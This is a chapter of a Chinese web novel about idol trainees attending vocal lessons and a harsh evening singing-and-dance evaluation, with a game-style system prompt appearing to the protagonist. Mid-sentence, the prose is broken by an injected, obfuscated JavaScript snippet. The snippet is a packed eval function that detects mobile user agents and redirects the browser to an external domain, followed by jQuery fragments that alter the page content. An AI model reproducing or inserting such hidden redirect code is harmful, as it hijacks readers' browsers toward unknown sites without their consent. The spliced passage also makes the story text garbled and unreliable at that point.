下午声乐教学开始前,还有不少练习生在对着镜子默默巩固上午的舞蹈动作。
大家舞种出身不同,发力方式和律动习惯差异巨大,呈现的质感也大不一样。
原版的练习室视频已经反反复复看了很多遍,杜雪裳对照观察着周围人的练习,逐一比较分析他们的表现、自己的表现、舞台版和练习室不同角度的呈现,思考怎样的动作设计对这首歌来说更活力、更适合自己。
声乐课一开始,情况就大出杜雪裳的预料。
……怎么说呢,大家整体水平唱得比他想象中要野生多了。
可能昨天的个人展示多少经过了精心的选曲准备和练习修饰,至少是好好地、不跑偏地唱了下来,具有一定可听性,而今天聚在一起重新学起一首歌的过程则完全暴露了大家的真实水平。
如果说上午的舞蹈课是紧凑推进,下午的声乐相比较而言就是一潭浑水。
虽然这么说显得很过分,但一首元气能量百分百的歌,竟然到了要用这个词形容的地步,足可见现场是有多么尴尬。
觉得自己唱不上去就擅自选择降调的人为数不少,气息不稳、唱声沙哑得像从没开过口的野人的也大有人在。不知道为什么,即使是从前有过练习经验的那些人也并没有表现得很突出,唱着唱着,大家的表现都和脸色一样愈发苍白。
所以练习生们之前到底在练什么啊?
王老师一点不急,像是早习惯了这样的场面,她脸上挂着职业性的若有似无的微笑,一遍遍示范,再一遍遍要求重来。
“找到位置”、“用这里”、“听出区别了吗”、“别扯嗓子”、“不要用声带”、“不要这么黏糊,嘴巴张开、口腔打开”……
像这样的话可能还是太抽象,但再抽象,平均到每个人身上能获得提点的机会也就那么有限的几句,练习生们大多一脸茫然,收效甚微。
即便是能不走调的那部分练习生,也能听出是靠着本嗓的条件硬唱,比如薛锐卓,还有的人的声音更是紧得像绷死不得动弹的弦。
在这样一片挣扎的情形下,白雨和杜雪裳游刃有余的松弛表现就堪称是一骑绝尘级的脱颖而出了。
王老师眼中掠过明显的赞赏。
他们两人嗓音条件真的很好。相较来说白雨的唱法会更成熟,只是唱出口的情绪比起元气,更像是倾诉的深情,不够放开,还是有点露怯。
而杜雪裳……这家伙以前真的没专门开发过吗?昨天低音的表现已经很入耳了,今天全曲的调都很高,他也毫不费力,气息分配得自然流畅,说什么也是一点就通。
……怎么样,要压一压吗?
想起昨天回去后陈总那边交代的安排和计划,王老师犹豫一瞬,最终还是开口:“很好,就是要这么唱。”
她环视全场,朝杜雪裳和白雨的方向抬了抬下巴:“之后自己练习找不到感觉的,可以多去听听人家怎么唱,尽量往那边去靠。”
杜雪裳借低头看歌词的间隙迅速扫视四周——
果然,大家的表情都复杂又直白,有不爽的别扭,有不服输的较劲,甚至还有……羡慕?
这哪里是树立标准,这分明是立了块靶子。
经过这多半天,舞蹈课上了、声乐课也上了,面对这种推进速度和人员规模,杜雪裳对自己能从老师那里获得多少有效指导已经彻底不抱任何希望了。
所谓选拔,终究只是为了筛选,不负责培养,更不保证改变。
——————
声乐课结束后,便进入了自主练习时间。
距离晚上的唱跳考核只剩数小时,不少练习生自觉进度堪忧,连饭都顾不上吃,分散到各个练习室里争分夺秒一门心思猛练。
薛锐卓很不认可:“这可不行!人是铁饭是钢,这顿要不吃下顿得等到什么时候了,这使不得。”
考虑到后续漫长的待机与消耗,杜雪裳点头认同:“确实,本身就是强调自信、活力、可爱、元气的歌,表现力远比绝对实力重要得多,要是饭也不吃,哪有力气辐射出能带动别人的感染力呢?”
——此乃谬言。
他其实完全能理解人家的废寝忘食,他们俩在这自说其话完全是因为这首《Halo Sweetie》对他们来说没那么有压力,薛锐卓上完声乐安心不少,自觉表现还行,比上略不足比下远有余。
要换成他们舒适区外的曲风,手忙脚乱自身难保之下他肯定也会选择突击强化换取安心感的。
不过有吃饭的余裕远不意味着到了悠闲的地步,两人一路小跑去吃了份现成的套餐,又快走回来完善表演。
途径窗边,杜雪裳无意间向外一眺,又望见公司门外静静架设的摄像机,以及那些稀疏的、执着守候着不愿离去的身影。
来来去去,StE总这么无声而恒常地受着瞩目。
他深深地吸了一口气,加快脚步赶回练习室。
之前来报到时还感慨员工们来去匆匆各司其职地精密运转着,这才一两天,现在的他也融进了这片川流不息的齿轮之海,成了这座庞大机器中,一枚新添的、温热的部件。
——————
晚上八点整,同样的练习室,同样的摄像机和录制红点,四缺一的评审,比昨天更忐忑的一众练习生。
新人开发组的卢老师坐在正中间,金老师王老师分坐在两侧,顺序再一次被完全打乱重新叫名。
今天的考察标准和批评力度和昨天完全不是一个等级,老师们失去兴趣就会立即叫停,前面表现不好的话甚至连坚持到副歌的机会都不会有。
“看起来很有架势,但完全散掉了,没有核心,你的力量像沙子一样撒了一地。”
“又飘了。音准栓风筝上了,这风都没来就不知道去哪了。平时练歌是会专门带耳塞吗?”
“这里就光跳,你完全不唱吗?为什么摆出这么理直气壮的表情看着我呢?——什么,原曲的表管。连唱跳都不能一起完成怎么这个时候跟我说起原曲风格,你都不惭愧的吗?”
老师们语调倒是都很温文,声音也不高,内容却压得人喘不过气,底下坐着的人人自危。
这一次杜雪裳早早就被叫到前面,音乐响起前,他当即进入状态——
“Halo!你比任何人都明亮耀眼~”
清亮活泼的唱句如同带着水汽的晨风迎面扑来,一个俯身下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282907|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腰定格衔接画圆的甩手,轻轻起跳,打高的手张开比在颊边两下快速的点头,提腿压肩,动作流畅而精准。
“My sweetie sweetie, How is your day?”
花瓣手托脸,指尖由外至内依次点过,直至小指哒一下轻巧地碰过嘴角,牵起一个大大的笑容,尾音顽皮的疑问裹进浓浓笑意。
“like we shiny——way!”干净的甩头接一段定点wave,食指向前轻盈一勾,发出让人不愿拒绝的邀请,杜雪裳控场的舞台正式展开。
即便早已察觉长桌席那边一片平静,老师们脸上看不出丝毫波澜,仿佛他倾注全力表现的这份轻松与烂漫撞上一堵无形的墙——他依旧毫不动摇。
每一个动作依然跃动有力,每一个笑容依旧灿烂不减,甚至歌声里听不出一丝的迟疑发虚,仿佛台下坐着的不是冷淡审视的老师,而是万千带着爱意为他欢呼的观众。
他就这样快活地、坚定地表现到第二段主歌才被叫停。
只是评价依旧——
“很标准的笑容,也很假。你是练习生,想做的是爱豆,不是演员,观众不是来看你表演微笑的,是来看你开心、甚至被你带着一起开心的。”
“眼神是空的,没有内容。你心里在想什么,别人是能感知、能捕捉到的,镜头当然一样可以做到。”
“模仿痕迹太重了,这是Youth的歌,不是你的。你就没有一点属于自己的东西吗?”
他从头至尾完全没有出过错,标准、稳定,甚至情绪的欢跃都给足了,说实话,在许多旁观的练习生看来,只要桌前架设的那台摄像机不是摆设,这段现场一发出去就是模范级别的生唱练习室。
正因如此这样的严苛才更令人心惊,他都受到了这样的评价,台下氛围明显变得更焦虑躁动,有人忍不住低头死死掐住指甲边沿。
【事件!-不公的评价- 】
——突然,眼前老师们那边的方向猛地弹出一个赤红色投影窗口,剧烈闪烁着宣告事态紧急。
【昨日总负责人已显露出对你的不喜,今日你果然遭到了老师们的联合压制。你的表现或许有不足之处,但绝不应该得到这样的贬低。你要如何争取呢?】
【系统将记录你的选择,并在综合评价后予以结算。之后您可于事件回顾中查看对应事件的模拟方向与奖励参考。】
杜雪裳的视线不可避免地一瞬偏离,他迅速掩饰,垂下眼睫,做出难过回避与反思的姿态,乖乖应道:“对不起,老师,我会好好思考、努力改进的。”
开发组的卢老师语气稍缓:“你先下去吧。下一个。”
系统窗口随即恢复为寻常的鎏金边框和素色面板,悄然隐去不见。
他回到原位后,薛锐卓很低地叫他:“哥……”
“没事,”杜雪裳反过来拍拍他, “哪有一直夸人的老师,总要有批评才有进步的。好好看吧。”
薛锐卓侧过头小心确认他的反应,见他当真不往心里去的样子,很快一松:“好有道理,哎,我怎么没意识到……”
他整个人绷得过紧的状态明显放松下来。